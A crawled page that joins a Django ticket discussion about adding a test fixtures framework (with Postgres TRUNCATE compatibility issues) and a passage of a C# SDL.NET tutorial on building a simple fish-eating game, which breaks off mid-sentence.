than getting eaten and turned into 500 pages. This can be easily accomplished by changing the big "try" in django.core.handlers.get_response to re-raise exceptions in the final "except" clause. I'd submit a patch, but this really ought to be a setting of some kind (so you can still test 500 error page generation) and I don't know the best way to do that. Right now I use "PYTHONPATH=~/django_src/ python manage.py test [myapp]" to swap in a Django svn checkout that has this modification hard-coded in whenever I want to do that. Phase 3 of the Django testing framework is Fixtures - the ability to set up the test database to contain a specific data so that the test harness doesn't have to manually create and delete data. As an added bonus, the approach taken here allows for fixtures to be used as a crude backup mechanism, or as a crude schema evolution mechanism. To make fixtures as simple as possible, I have used the serialization framework, and added a mechanism to load files of serialized data into the database. The patch (fixtures.diff) does the following: class MyTest(django.test.TestCase): fixtures = ['foo','bar'] def test_feature1(self): # proceed as if 'foo' and 'bar' fixtures has been loaded def test_feature2(self): # proceed as if 'foo' and 'bar' have been loaded; # effects of test_feature1 removed from DB. from django.test import TestCase from django.test import Client Please direct discussion to the thread on Django-developers. Phase 3, version 1 of the testing framework - fixtures Just realized a minor error in my walkthrough for Phase 3. The example TestCase? should read: class MyTest(django.test.TestCase): fixtures = { 'json': ['foo','bar'] 'xml': ['whiz'] } def test_feature1(self): # proceed as if 'foo' and 'bar' JSON fixtures and 'whiz' XML fixture has been loaded def test_feature2(self): # proceed as if 'foo' and 'bar' JSON fixtures and 'whiz' XML fixture has been loaded # effects of test_feature1 removed from DB. I've just attached a revised Fixtures patch for public consideration. The shape of this patch has been shaped by the discussion I have had with Jacob and others on the django-dev mailing list. Noteworthy changes since the last version: class MyTest(django.test.TestCase): fixtures = 'foo', 'bar.json', 'whiz.xml' def test_features(self): pass The only open issue at this point is database backend compatibility. SQLite, MySQL, and Postgres 8.1+ are covered. Oracle _should_ work AFAIK, but is untested. ADO is completely untested. Postgres 7.x and 8.0 will not work. The only effect of this patch on unsupported databases is that fixtures wont work, and the fixture-based unit tests fail. Documentation will be forthcoming once this final design has been approved. Test Fixtures, version 2 Looking really good, Russ. Can you tell me what's broken on Postgres 8.0 and below? If it's a matter of missing system views or whathaveyou I can likely figure out what needs to be done to fix that. Jacob: Postgres 7.x doesn't have a TRUNCATE statement; Postgres 8.0 added TRUNCATE, but it has a problem. If Table1 contains references to Table2, the TRUNCATE approach fails because the table contraint rules kick in. I've tried putting the TRUNCATE calls into a transaction, but it didn't seem to help - the constraint rules seemed to kick in during the transaction. Postgres 8.1 fixed this problem by allowing you to specify multiple tables in a single TRUNCATE statement: TRUNCATE table1, table2; which doesn't activate the constraint checker. Now; I'm not denying that the problem with 8.0 may exist (at least partially) between my keyboard and my chair; I might have just messed up in my use of transactions when I was testing with 8.0. However, this still leaves the Postgres 7.x issue. 7.x will need to regress to either deletion of rows (like the SQLite implementation), a table destroy/resync, or a complete database destroy/recreate. Supporting 7.x also introduces the need to identify what database version is running so that the correct solution can be applied. This is all made more difficult by the fact that I have very limited access to a Postgres 8.0 install, and no access to a Postgres 7.x install, so my ability to test these earlier versions is somewhat restricted. Any assistance on this front would be greatfully accepted. Strange, postgresql 7.4 and 7.3 have a TRUNCATE statement, see docs. I'm not sure about earlier releases, but I'd be astonished if it wouldn't be in at least 7.2, too. But it still won't work with foreign key constraints (and this is a strict no, as described in the docs.) I think that dropping/recreating all tables is not so bad, at least that's something you can easily do for any database. I wouldn't bother but do this if the TRUNCATE fails, and then you don't need a version check. If you don't like it, you could also disable the foreign key constraint temporarily with ALTER TABLE [ ONLY ] table [ * ] DROP CONSTRAINT constraint_name [ RESTRICT | CASCADE ] and then recreate with ALTER TABLE [ ONLY ] table [ * ] RENAME [ COLUMN ] column TO new_column TRUNCATE is considered part of the data definition language of sql, like CREATE TABLE, and as such finishes any open transaction before it begins. That's how it can be so much faster than DELETE :-) Michael: I stand corrected on TRUNCATE in 7.x. I had a quick look and couldn't find it, but I'll admit that I didn't look that hard once I knew that TRUNCATE in 8.0 wasn't going to work. Thanks for the pointer. The reason I went with TRUNCATE over DELETE is speed. Fixtures need to be added and removed for every test case in the system, so the fixture installation process needs to be as fast as possible. I initially started with a 'drop constraints and DELETE' approach, but then I remembered the speed advantage in TRUNCATE. The removal of constraints is a little messy because an implied constraint is created whenever a REFERENCES to a previous table is added, and its a little nasty to find the name of these implied constraints. I'm currently playing with another approach based around putting DEFERRED/DEFERRABLE in the table definitions; I'll let you know how I go. DEFERRED with DELETE work, but TRUNCATE automatically gets its own transaction, so it doesn't work. Inserts are *much* faster without foreign key constraints. But most of the time you don't insert a lot of data, or do you? I'd simply try to use TRUNCATE, and fall back to completely drop all tables and resync if TRUNCATE fails. With a bit of luck, people will improve this for their favourite database and provide patches ;-) Isn't that a problem with mysql, too? #2720 describes a bug that means that mysql foreign key constraints are created in the wrong way ... (In [4659]) Fixes #2333 -- Added test fixtures framework. Replying to russellm: . What about TEST_DATABASE_USER and TEST_DATABASE_PASSWORD, etc.? (I'm running on a shared host whose only support for databases is one-per-user.) By Edgewall Software.
http://code.djangoproject.com/ticket/2333
crawl-002
refinedweb
2,383
65.22
Suppose we have a value h and a list of numbers called blacklist. We are currently at height h, and are playing a game to move a small ball down to height 0. Now, in even rounds (starting from 0) we can move the ball 1, 2, or 4 stairs down. And in odd rounds, we can move the ball 1, 3, or 4 stairs down. Some levels are blacklisted. So if the ball reach there, it will die immediately. We have to find the number of ways the ball can move down at height 0. If the answer is too large, then mod the result by 10^9 + 7. So, if the input is like h = 5 blacklist = [2, 1], then the output will be 2, because on round 0, move one step first (5 to 4), then in the next round from 4 to 0. Another possible way could be at round 0, move two steps (5 to 3), then in the next round 3 to 0. To solve this, we will follow these steps − Let us see the following implementation to get better understanding − def solve(h, blacklist): blacklist = set(blacklist) if 0 in blacklist or h in blacklist: return 0 dp = [[0, 0] for i in range(h + 1)] dp[0] = [1, 1] m = 10 ** 9 + 7 for i in range(1, h + 1): for x in [1, 2, 3, 4]: if i - x >= 0 and i - x not in blacklist: if x != 3: dp[i][0] += dp[i - x][1] if x != 2: dp[i][1] += dp[i - x][0] dp[i][0] %= m dp[i][1] %= m return dp[h][0] h = 5 blacklist = [2, 1] print(solve(h, blacklist)) 5, [2, 1] 2
https://www.tutorialspoint.com/program-to-count-number-of-ways-ball-can-drop-to-lowest-level-by-avoiding-blacklisted-steps-in-python
CC-MAIN-2022-21
refinedweb
290
84.41
tree Struts2 - Struts Struts2 S:select tag is being used in my jsp, to create a drop down... weird, meaning that the drop down wen clicked it just jumps out from the first row... in Mozilla displays very well. Im trying to figure out from a long time, not succesful Struts2 - Struts Struts2 Hi, I am using doubleselect tag in struts2.roseindia is giving example of it with hardcoded values,i want to use it with dynamic values. Please give a example of it. Thanks Article Announcement Lists Article Announcement Lists  ... to read your articles. So, you won't find any appreciation or income from... Announcement Lists: Article Announce Business Article how to prepopulate data in struts2 - Struts how to prepopulate data in struts2 I wanted to show the data from database using Struts 2 linked lists implementation - Java Beginners reference), your code should be efficient. 2. What changes would you do...linked lists implementation 1. Assume a programmer wanted... (); that removes the first entry and last entry from the list Help in Struts2 Help in Struts2 Hi, in struts 2 how to get the values from db and show in jsp page using display tag or iterator tag thanks in advance struts2 - Struts struts2 hello, am trying to create a struts 2 application that allows you to upload and download files from your server, it has been challenging for me, can some one help Hi Friend, Please visit the following Select tag to fetch data from oracle database Select tag to fetch data from oracle database I created a select box... of a student and when regnno is selected from the drop down list by a user... the student name and address and all these regnno, name, address are present in error come each attribute Here is the code that retrieve the values from database... database. 1)EmpBean.java: package form; import java.sql.*; import java.util....=st.executeQuery("select * from employee"); while(rs.next connecting to database - Struts to MS SQL Server 2005 database. My first is what do i write in struts... information via the database in my web page. Thanks Tayo Hi friend... information. what is struts? - Struts what is struts? What is struts?????how it is used n what... of the Struts framework is a flexible control layer based on standard technologies like Java... Commons packages. Struts encourages application architectures based on the Model 2 struts2 - Framework struts2 thnx ranikanta i downloaded example from below link... using JDK 1.6 and Tomcat 6.0 ,eclipse 3.3in my application. i extract struts2.0-blank.war in eclipse and tring to execute the helloworld program from"%> <%@ taglib uri="WEB-INF/struts-bean.tld" prefix="bean"%> <!DOCTYPE html> <%@ taglib uri="WEB-INF/struts-bean.tld2 UI - Struts Struts2 UI Can you please provide me with some examples of how to do a multi-column layout in JSP (using STRUTS2) ? Thanks Unordered Lists Unordered Lists An Unordered Lists is a bulleted list of items, which enables you... to describe you a code that helps you to understand Unordered Lists. In this example Struts Articles from the database and represent them as objects. We used a Struts ActionMapping... technology developers should use, and what they can do with existing Struts-based... is isolated from the user). Bridge the gap between Struts and Hibernate <s:include> - Struts Struts Hello guys, I have a doubt in struts tag. what am i... tag inside that fetched page to include content from other link. but i cant... Tag) Example! My Birth Day (Date Format To retrive data from database - Struts come to jsp page automatically from database...To retrive data from database How to get values ,when i select a select box in jsp and has to get values in textbox automatically from database? eg database user required data from the database and rank the results and display... it to the user. other than this what i ll add to improve my applications. i... the efficient way for implement my application? other than search and retrieve what i Actions the mapping from struts.xml file to process the request. The mapping to an action is usually generated by a Struts Tag. Struts 2 Redirect Action... Struts2 Actions Struts2 Actions pls review my code - Struts pls review my code Hello friends, This is the code in struts. when..."); PreparedStatement psm=con.prepareStatement("select uname,pwd from misk where... misk which is created in oracle database Paypal integration to my website - Struts Paypal integration to my website Hi there, I am working... can able do that....and after logging in to that paypal website we'll get d... the payment details(acknowledgement)....My question is.....instead of getting Struts2 and Hibernate Struts2 and Hibernate how to fetch database value from one page to another page in struts2 and hibernate DataBase connection with sql - Struts DataBase connection with sql How to connect sql and send db error in struts? what are the tag should i code in struts-confic.xml struts2 struts2 sir.... i am doing one struts2 application and i have to make pagination in struts2....how can i do how do i use sql like query in my jsp page how do i use sql like query in my jsp page how do i use sql like query in my jsp page Hi Friend, Try the following code: <%@ page...;br>"); } %> The above code will display all the names from the database struts2 struts2 dear deepak sir plz give the struts 2 examples using applicationresources.properties file Struts2 tag Struts2 tag function of hidden tag? Hi Friend, <s:hidden> tag create a hidden value field.It means it stores the value but cannot be visible. For more information, visit the following link: Struts2 Tutorial struts html tag - Struts struts html tag Hi, the company I work for use an "id" tag on their tag like this: How can I do this with struts? I tried and they don't work Still have the same problem--First Example of Struts2 - Struts tried my own example. Its not displaying the "Struts Welcome" message and also...Still have the same problem--First Example of Struts2 Hi I tried... and please find the below directory structure which I provided in my example struts2 Autocompleter struts2 Autocompleter hi. I am working Auto Completer Example...-example.shtml but it has a error occurred . "" No tag "autocompleter" defined in tag library imported with prefix "s" "" thanks venu Hi swing components are not running in my system what to do now?? swing components are not running in my system what to do now?? Exception in thread "main" java.lang.ExceptionInInitializerError...) ... 3 more this type of error coming what to search from database ); } i want to retrieve values from database and display them in my... it show error what to do please help...search from database DBUtil util = new DBUtil(); try Struts2 Actions generated by a Struts Tag. The action tag (within the struts root node of ...Struts2 Actions When a client's request matches the action's name, the framework uses the mapping from Struts Books what it can and can't do. Of the Struts example applications I've seen... established. Struts-based web sites are built from the ground up... as basics. Highlights include: Coverage of Struts Tags (including editable lists How can I protect my database password ? in as plain text. What can I do to protect my passwords...How can I protect my database password ? How can I protect my database password ? I'm writing a client-side java application that will access RetController.java (do get) (my file for reference for a test.. IS LOGIC good Enough ? RetController.java (do get) (my file for reference for a test.. IS LOGIC good..."); System.out.println("What"); int a=RetDAO.searchDelete(conn,ret_id..."); } if(submit.equals("tag")) { System.out.println(); String what is viewresolver of the spring framework in functionality point of view. 2. What Action class do... component. 5. Unlike Struts Spring don?t provide any separate tag library.  ...what is viewresolver what is viewresolver? Hi What's wrong with my pagination code in JSP? What's wrong with my pagination code in JSP? Dear experts, I've tried the following codes which I have copied from Java Ranch forum and deleted... 5 records per page from database. Here db22admin is our database. Named Struts Tutorials types of cleanup you can do to improve your Struts configurations. Prerequisites... tag libraries. This tutorial provides a hands-on approach to developing Struts... gave us a vital clue to what happens and what we need to do to find a complete Struts tag - Struts Struts tag I am new to struts, I have created a demo struts application in netbean, Can any body please tell me what are the steps to add new tags to any jsp select tag multiple struts2 select tag multiple struts2 select tag multiple Struts2 and Hibernate submitting the page it saved to the database. This was a tutorial i was trying from... from database on to the JSP page when it initially loads. After Submitting...Struts2 and Hibernate I have a simple application in Struts2 Struts2 and Hibernate submitting the page it saved to the database. This was a tutorial i was trying from... the values present in the database on the JSP page. But i want the values from...Struts2 and Hibernate I have a simple application in Struts2 Struts2 Training Tag Submit Tag Reset Tag Day--5 A Simple Struts2 Login Application... Struts2 Training Apache Struts is an open-source framework that is used to develop Java applications. code - Struts struts code Hi all, i am writing one simple application using struts framework. In this application i thought to bring the different menus of my... to bring menu that is stored in a database in a tree view format". please do Application | Struts 2 | Struts1 vs Struts2 | Introduction... Manager on Tomcat 5 | Developing Struts PlugIn | Struts Nested Tag... | Login/Logout With Session | Connecting to MySQL Database in Struts 2 struts2 - Framework struts2 i m beginner for struts2.i tried helloworld program from... is: i downloaded example from below link i m using JDK 1.6 and Tomcat 6.0 in my Struts 1 Tutorial and example programs and struts2 Introduction to the Apache Struts...; Aggregating Actions In Struts Revisited - In my previous... in Struts 1.1. In this tutorial we are going to explain what Please help me to modify my java code from php code Please help me to modify my java code from php code i want to covert...; Thank you , But this not my exact solution for my problem. What actually i want to do is "i want to order my table rows, users drag and drop the rows What are Interceptors in Struts 2 and how do they work? What are Interceptors in Struts 2 and how do they work? Understanding Struts 2... of Struts. What are Interceptors? To get an in depth understanding of struts 2.... Though, various interceptors come configured by default with struts 2 Struts2 and Hibernate Fetch Data Base Value me what should i do for fetch the database value and shown on jsp page...Struts2 and Hibernate Fetch Data Base Value Hello Sir, I am facing the problem while fetching the database value on jsp page while using nested tag Example Struts nested tag Example The tag library ?nested? is included in Struts... with the help of struts nested tag library. Nested tags are used in the nested Retrieving the Image from a database Table to retrieve the image from the database table. You can do it very easily after...Retrieving the Image from a database Table Consider a case where we want... come. For this it is necessary that there must be his/her image in the database Interceptors in Struts 2 of Struts making it more users friendly and efficient. Though, Struts2 comprises... be done simply by removing the entry from the struts.xml file. Struts 2 default... is the code of struts-default.xml file from Struts 2.3.15.1 distribution. < Hibernate criteria example using struts2 will see how to access records from database using criteria. Syntax of criteria...Hibernate criteria example using struts2 This hibernate criteria example using struts2 is used for defining the basics of criteria. The hibernate criteria
http://www.roseindia.net/tutorialhelp/comment/50031
CC-MAIN-2014-35
refinedweb
2,059
67.35
The Python Imaging Library or PIL allowed you to do image processing in Python. The original author, Fredrik Lundh, wrote one of my favorite Python blogs when I first started learning. Install Pillow You can install Pillow using pip or easy_install. Here’s an example using pip: pip install Pillow Note that if you are on Linux or Mac, you may need to run the command with sudo. Opening Images Pillow makes it easy to open an image file and display it. Let’s take a look: from PIL import Image image = Image.open('/path/to/photos/jelly.jpg') image.show() Here we just import the Image module and ask it to open our file. If you go and read the source, you will see that on Unix, the open method saves the images to a temporary PPM file and opens it with the xv utility. On my Linux machine, it opened it with ImageMagick, for example. On Windows, it will save the image as a temporary BMP and open it in something like Paint. Getting Image Information You can get a lot of information about an image using Pillow as well. Let’s look at just a few small examples of what we can extract: >>> from PIL import Image >>> image = Image.open('/path/to/photos/jelly.jpg') >>> r, g, b = image.split() >>> histogram = image.histogram() [384761, 489777, 557209, 405004, 220701, 154786, 55807, 35806, 21901, 16242] >>> exif = image._getexif() exif {256: 1935, 257: 3411, 271: u'Panasonic', 272: u'DMC-LX7', 274: 1, 282: (180, 1), 283: (180, 1), 296: 2, 305: u'PaintShop Pro 14.00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', 306: u'2016:08:21 07:54:57', 36867: u'2016:08:21 07:54:57', 36868: u'2016:08:21 07:54:57', 37121: '\x01\x02\x03\x00', 37122: (4, 1), 37381: (124, 128), 37383: 5, 37384: 0, 37385: 16, 37386: (47, 10), 40960: '0100', 40961: 1, 40962: 3968, 40963: 2232, 41495: 2, 41728: '\x03', 41729: '\x01', 41985: 0, 41986: 0, 41987: 0, 41988: (0, 10), 41989: 24, 41990: 0, 41991: 0, 41992: 0, 41993: 0, 41994: 0} In this example, we show how to extract the RGB (red, green, blue) values from the image. We also learn how to get a histrogram from the image. Note that I truncated the output a bit as the histogram’s output was much larger. You could graph the histrogram using another Python package, such as matplotlib. Finally, the example above demonstrates how to extract the EXIF information from the image. Again, I have shortened the output from this method a bit as it contained way too much information for this article. Cropping Images You can also crop images with Pillow. It’s actually quite easy, although it may take you a little trial and error to figure it out. Let’s try cropping our jellyfish photo: >>> from PIL import Image >>> image = Image.open('/path/to/photos/jelly.jpg') >>> cropped = image.crop((0, 80, 200, 400)) >>> cropped.save('/path/to/photos/cropped_jelly.png') You will note that all we need to do is open the image and then call its crop method. You will need to pass in the x/y coordinates that you want to crop too, i.e. (x1, y1, x2, y2). In Pillow, the 0 pixel is the top left pixel. As you increase your x value, it goes to the right. As you increase the y value, you go down the image. When you run the code above, you’ll end up with the following image: That’s a pretty boring crop. I want to crop the jellyfish’s “head”. To get the right coordinates quickly, I used Gimp to help me figure out what coordinates to use for my next crop. >>> from PIL import Image >>> image = Image.open('/path/to/photos/jelly.jpg') >>> cropped = image.crop((177, 882, 1179, 1707)) >>> cropped.save('/path/to/photos/cropped_jelly2.png') If we run this code, we’ll end up with the following cropped version: That’s much better! Using Filters There are a variety of filters that you can use in Pillow to apply to your images. They are contained in the ImageFilter module. Let’s look at a couple of them here: >>> from PIL import ImageFilter >>> from PIL import Image >>> image = Image.open('/path/to/photos/jelly.jpg') >>> blurred_jelly = image.filter(ImageFilter.BLUR) >>> blurred_jelly.save('/path/to/photos/blurry_jelly.png') This will blur the jellyfish photo slightly. Here’s the result I got: Of course, most people like their images sharper rather than blurrier. Pillow has your back. Here’s one way to sharpen the image: >>> from PIL import ImageFilter >>> from PIL import Image >>> image = Image.open('/path/to/photos/jelly.jpg') >>> blurred_jelly = image.filter(ImageFilter.SHARPEN) >>> blurred_jelly.save('/path/to/photos/sharper_jelly.png') When you run this code, you’ll end up with the following: You can also use the ImageEnhance module for sharpening your photos, among other things. There are other filters that you can apply too, such as DETAIL, EDGE_ENHANCE, EMBOSS, SMOOTH, etc. You can also write your code in such a way that you can apply multiple filters to your image. You will likely need to download the images above to really be able to compare the differences in the filters. Wrapping Up You can do much more with the Pillow package than what is covered in this short article. Pillow supports image transforms, processing bands, image enhancements, the ability to print your images and much more. I highly recommend reading the Pillow documentation to get a good grasp of everything you can do. Related Reading - Python Pillow official website - Pillow documentation - Wikipedia article on the Python Imaging Library - PyPI: PIL
https://www.blog.pythonlibrary.org/2016/10/07/an-intro-to-the-python-imaging-library-pillow/
CC-MAIN-2020-10
refinedweb
963
65.22
- Cookie policy - Advertise with us © Future Publishing Limited, Quay House, The Ambury, Bath BA1 1UA. All rights reserved. England and Wales company registration number 2008885. How hard is it to get a quick game working? Not hard at all, as you'll soon find. In this project you're going to learn how to create a quick clone of the now-classic game Feeding Frenzy. The premise is simple: fish can eat other fish that are smaller than they are, but they in turn get eaten by larger fish. Sound simple? It is - but there's lots of good stuff to learn by coding it, so let's get started! In the old days of game programming, coders had to do a lot of work themselves - there were no truly standard ways to output fast video and high-quality audio, nor to read input such as key presses or joystick moves. But since those dark days we have been blessed with something called the Simple DirectMedia Layer, or "SDL" for short. This is a set of libraries that let you build high-quality games (or other multimedia apps) without caring what graphics card is available, whether the user has a working sound card or not, and more. In fact, SDL means you don't even have to care what operating system you're using, because SDL supports Linux, Mac OS X and Windows just fine. To get to the point, SDL has just about everything you need to create high-quality 2D games with very little work. If all that wasn't good enough already, SDL works just fine in Mono thanks to a little helper layer called SDL.NET. This is basically a huge heap of glue code to turn SDL into something Mono-friendly, and I have to say it's one of the most impressive libraries I've ever come across - and I think you'll like it too. Because this is your first time working with SDL, I'm going to show you how to setup SDL and SDL.NET from scratch. First, go to System > Administration > Synaptic Package Manager and enter your password when prompted. In the Quick Search box type "libsdl" and hit Enter to filter the available package list. You need to make sure the following are installed: If you install those, they should bring with them a raft of other dependencies to make sure you get a wide range of functionality. You probably have a chunk of that already installed if you play games on Linux regularly. Installing SDL on Ubuntu is very easy thanks to Synaptic. Installing SDL.NET is only slightly trickier than installing the basic SDL system. To get started, go to MonoDevelop and create a new command-line project calling FishFeast. Now open up your web browser and go to and click the Download SDL.NET link - you're looking to download SDL.NET 6.1.0. You should eventually see a list of files like "SdlDotNet-6.1.0.dmg" and "sdldotnet-6.1.0-runtime-setup.exe". From that list, download sdldotnet-6.1.0.tar.gz. If you're using Ubuntu, this should automatically be downloaded to your desktop, so right-click on your new file and choose Extract Here. What you need to do now is look inside the newly created sdldotnet-6.1.0 folder for a sub-folder called "bin". Inside there you should find two files called SdlDotNet.dll and Tao.Sdl.dll - these are the two files that make up the core of SDL.NET. Leaving that window open, click Places > Home Folder to bring up a new folder view, then browse to your FishFeast folder in there. Now copy the SdlDotNet.dll and Tao.Sdl.dll files from the sdldotnet-6.1.0/bin folder to your FishFeast folder, next to where you see the FishFeast.mds file. The final stage of this process is to tell MonoDevelop your code references those two DLL files, so go back to MonoDevelop and look in the Solution pane on the left for where it says "References". Right click on that and choose Edit References. You'll be adding references a lot in future projects, so it's essential you get this right! Adding a reference in MonoDevelop is done by right-clicking on References and choosing Edit References. In the window that appears, change the tab at the top to be .Net Assembly and browse to where you put the two DLL files. Double-click on them both in turn, and as you do that they should appear in the list at the bottom of the window. Now return to the Packages tab (the original one you were on when the window appeared) and select the box next to System.Drawing. Once you have SdlDotNet.dll, Tao.Sdl.dll and System.Drawing all selected, your References window should look like this. Click OK when you're done, and you should now see them under the References list in the main MonoDevelop window. You will need to copy the two SDL.NET files into any SDL project you make in the future, and you will always need to add them to the References list in MonoDevelop. However, SDL itself is installed system-wide and you won't need to follow those instructions again. Now that SDL is installed and ready to go in your solution, it's time to do something interesting: we're going to bring up a window and let the user quit the "game" by closing it. So, go the top of your Main.cs file and make sure you have these "using" statements: using SdlDotNet.Core; using SdlDotNet.Graphics; using SdlDotNet.Input; using System; using System.Collections.Generic; using System.Drawing; The first three give us access to the most basic SDL functionality - we'll be adding more in later games. The last one is a very powerful library for drawing all sorts of complicated shapes to the screen, but we'll be using it because SDL uses some basic functionality such as screen positions and rectangles. "System" is of course the default "using" statement to give us all the basic functionality, and we looked at System.Collections.Generic - that's the bit that provides us access to the List array type. Now remove the Console.WriteLine() that MonoDevelop put in your Main() method for you, and replace it with this: Video.SetVideoMode(1024, 768); Events.Quit += new EventHandler<QuitEventArgs>(Events_Quit); Events.Run(); There's all sorts of new stuff in there, but for now ignore it - I want you to add a new method beneath Main(): static void Events_Quit(object sender, QuitEventArgs e) { Events.QuitApplication(); } Again there's all sorts of new stuff to marvel at, but keep on ignoring it: press F5 to build and run your code, and you should see a black window appear. If you click the window's close button, the window will go away and you'll be returned to MonoDevelop - it's nothing amazing, but it's the start of your game and it'll do a lot more soon enough. This black screen is the Hello World of SDL projects - it makes sure you have everything ready to go. Now, the matter of what the new code does. Well, when you work with SDL you have to adopt an entirely different coding system to what you've been using so far. Put simply, before you had complete control over your program - nothing happened without your explicit permission. Well, now SDL is the one that's in control: it will execute all the code it needs to make the game run smoothly, handing control back to you whenever something interesting happens. You need to tell SDL which events you care about, and, once you've done that, SDL will give your code a nudge when one of those events happens. In our code we have this line: Events.Quit += new EventHandler<QuitEventArgs>(Events_Quit); "Events" is an SDL variable that lets us interface with all the events SDL can watch. It has a "Quit" option that we can attach one of our methods to, and that's exactly what that line of code does - it attachs the Events_Quit() method to the Quit event. You'll be using code similar to this whenever you want to attach a method to an event. You can ask SDL to run multiple methods when an event is triggered, but there isn't really much need for that here. You'll notice the Events_Quit method takes two parameters: "object sender" and "QuitEventArgs e" - you can safely ignore both of these. That just leaves us with the following three new method calls: So right now, all we do is create a window, tell SDL we want it to run the Events_Quit() method when the player wants to quit the game, then hand control over to SDL to do its thing. That last part is important, because SDL needs to be the one doing all the screen drawing, all the input reading, all the sound streaming and such - we just need to fill in the blanks when it comes to deciding what to do with that screen or what to do with that input. All graphical items are known as surfaces in SDL-speak. That's because you can draw on them using any other surfaces, rather like creating a collage of pictures. You actually already have your first surface, because the call to Video.SetWindowMode() creates a window and returns a surface that you can draw upon. Now, in our code we actually ignore that returned surface, so we can't draw to it easily. However, if we give it a variable then we can use it easily. Put this line just before the start of your Main() method: static Surface sfcMain; Now modify your SetVideoMode() call to this: sfcMain = Video.SetVideoMode(1024, 768); sfcMain.Fill(Color.DarkBlue); You should be able to guess that the new line, the second one, fills the screen's surface in a dark blue colour. Try running your program again to make sure everything is working - you'll find MonoDevelop has a full list of colours to choose from if you just type "Color." and let MonoDevelop do the rest. Let's take this code a step further by introducing one of the most important methods of a surface: Blit(). This copies the contents of one surface to another, essentially letting you draw pictures easily. Add these two new variables next to "static Surface sfcMain": static Surface sfcBackground; static Surface sfcLogo; Now change your SetVideoMode() call to this: sfcMain = Video.SetVideoMode(1024, 768); sfcBackground = new Surface("media/background.jpg"); sfcLogo = new Surface("media/logo.png"); The two files background.jpg and logo.png are included in the code for this project. You'll notice I refer to them as "media/", which is because it's smart coding practice to put your assets in a subdirectory like "media" to help keep everything arranged neatly. For now, create your own "media" subdirectory inside your project's directory (probably something like /home/hudzilla/FishFeast/FishFeast), and copy the files background.jpg and logo.png into there. This bit is important, so read carefully. As you've seen so far, MonoDevelop creates a bin/Debug directory inside your project folder, and that's where it runs your program. The problem is your "media" directory containing your artwork isn't in bin/Debug, it's just in the main project folder. So, you need to tell MonoDevelop that you don't want it to put your compiled program in bin/Debug, but instead you want it in the same directory that contains "media" so that it can find all the pictures correctly. To do that, go to Project > Options and choose Configurations > Debug (Active) > Output and change Output Path to be /home/yourusername/FishFeast/FishFeast rather than /home/yourusername/FishFeast/FishFeast/bin/Debug. If you were wondering the reason the background is a JPEG and the logo is a PNG, it's because PNG files support smooth transparency - we can layer the logo on top of the background and SDL will ensure the transparent parts are see-through. With that done, put these three lines of code immediately after the three we just looked at (sfcLogo = new Surface etc): sfcMain.Blit(sfcBackground); sfcMain.Blit(sfcLogo, new Point(254, 236)); sfcMain.Update(); Those first two lines demonstrate the two most common types of blitting, and the last one just tells the screen to redraw itself. Blitting is, remember, copying the contents of one surface to another - in the first line the background is being drawn to the whole screen, and we don't need to specify where to draw it because the default position is the top-left corner (0, 0). Line two, however, draws the Fish Feast logo to the screen, and so needs to tell SDL where we want to blit the logo to. In this case, we want a specific point on the screen: X 254, Y 236. When you want to specify a point on the screen, you just have to tell Mono you want to create a new Point (note the capital P!) and tell it the X and Y co-ordinates. By the way, sfcMain.Update() should be called only after all your other drawing has taken place. If you forget to call it every time you've finished making changes to the screen, those changes won't appear! Go ahead and run your code now. Even though we haven't changed that much, we have introduced external media for the first time so it's important to check whether you've configured MonoDevelop correctly or not. If you've followed these instructions correctly, your game window should appear and look something like the screenshot below. With the background and logo in place, this is starting to look like a game - at least a little bit! If you get an error about SDL being unable to find the files background.jpg or logo.png, you probably haven't set up MonoDevelop correctly. If you're really struggling, just copy the "media" directory into your bin/Debug directory - it's not ideal, but it's a quick way to get going. In the zip file you downloaded containing the code and files for this project (where you got background.jpg and logo.png from), you should also find the files fish1.png, fish2.png, fish3.png and fish4.png - these are the fish pictures we'll be using in this game. Copy them into your "media" folder, wherever that might be. What we're going to do is create a list of surfaces that will be used for all our fish pictures. Put this line just before the start of your Main() method: static List<Surface> sfcFish = new List<Surface>(); Then put this inside your Main() method, immediately after logo.png is loaded: sfcFish.Add(new Surface("media/fish1.png")); sfcFish.Add(new Surface("media/fish2.png")); sfcFish.Add(new Surface("media/fish3.png")); sfcFish.Add(new Surface("media/fish4.png")); If you take a look at those fish pictures, you'll notice that fish1.png is the smallest and fish4.png is the largest, so this is probably a good time for me to explain how Feeding Frenzy - the game we're cloning - works. Put simply, you're a fish, and you - for some reason - like eating other fish. We're going to start the player as fish type 1, which is actually the second fish in the list because of the way Mono counts its arrays from 0 rather than 1. The fact that our fish pictures array is ordered by size makes it easy to tell that any fish type lower than the players can be eaten, whereas any fish type above will eat the player! Our fish pictures are quite simple, but the important thing is that they have a transparent background. At any given time, we need to know exactly what type of fish our player currently is, as well as their position on the screen. This is rather easy, particularly given that we're already using a Point data type that holds an X and Y co-ordinate! Add these two lines of code directly beneath the definition for sfcFish, like this: static List<Surface> sfcFish = new List<Surface>(); static int PlayerFish = 1; static Point PlayerPos = new Point(256, 512); That starts the player near the bottom-left corner of the screen, but doesn't actually draw them there yet - to do that, you need to add this line just before sfcMain.Update(): sfcMain.Blit(sfcFish[PlayerFish], PlayerPos); The player is now on the screen, but it's all very dull because you can't move! But to make movement requires more than just reading the keyboard and changing PlayerPos, as you'll soon see... Think about it: right now, we load all the pictures, draw them to the screen, then call sfcMain.Update() to make sure SDL shows the results of our drawing. After that, nothing happens - the screen is never redrawn. That means even if we were to make the player move, the screen wouldn't be updated to reflect the changes. So, there are two stages to making the player move: That first part can be done in pretty much the same way we tell SDL that we care about the Quit event: create a new method called Events_Tick() like this: static void Events_Tick(object sender, TickEventArgs e) { // we'll put code here soon } ...then tell SDL we want that method to be run every time we're able to update our game and redraw the screen, like this: Events.Tick += new EventHandler<TickEventArgs>(Events_Tick); Put that directly beneath the existing "Events.Quit +=" line. A "tick", if you were wondering, is SDL terminogy meaning one complete execution of your game code. That is, one "tick" is made up of SDL doing everything it needs to do, handing control to you to do everything you need to do, then SDL finishing up - usually it lasts about 1/60th of a second, which means you get the chance to update your game and redraw the screen 60 times a second. Now that we have an Events_Tick() method for SDL to execute, you need to take these four lines out of Main() and put them into Events_Tick(): sfcMain.Blit(sfcBackground); sfcMain.Blit(sfcLogo, new Point(254, 236)); sfcMain.Blit(sfcFish[PlayerFish], PlayerPos); sfcMain.Update(); Because these are inside Events_Tick() rather than Main(), SDL will run them every time it gives control back to your game to update itself. So if we change PlayerPos now, it means the player will be drawn at the right position because SDL will blank the screen with the 